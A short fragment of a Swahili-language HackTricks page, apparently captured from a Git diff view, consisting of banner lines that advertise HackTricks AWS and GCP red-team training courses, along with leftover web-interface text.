Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Reference in a new issue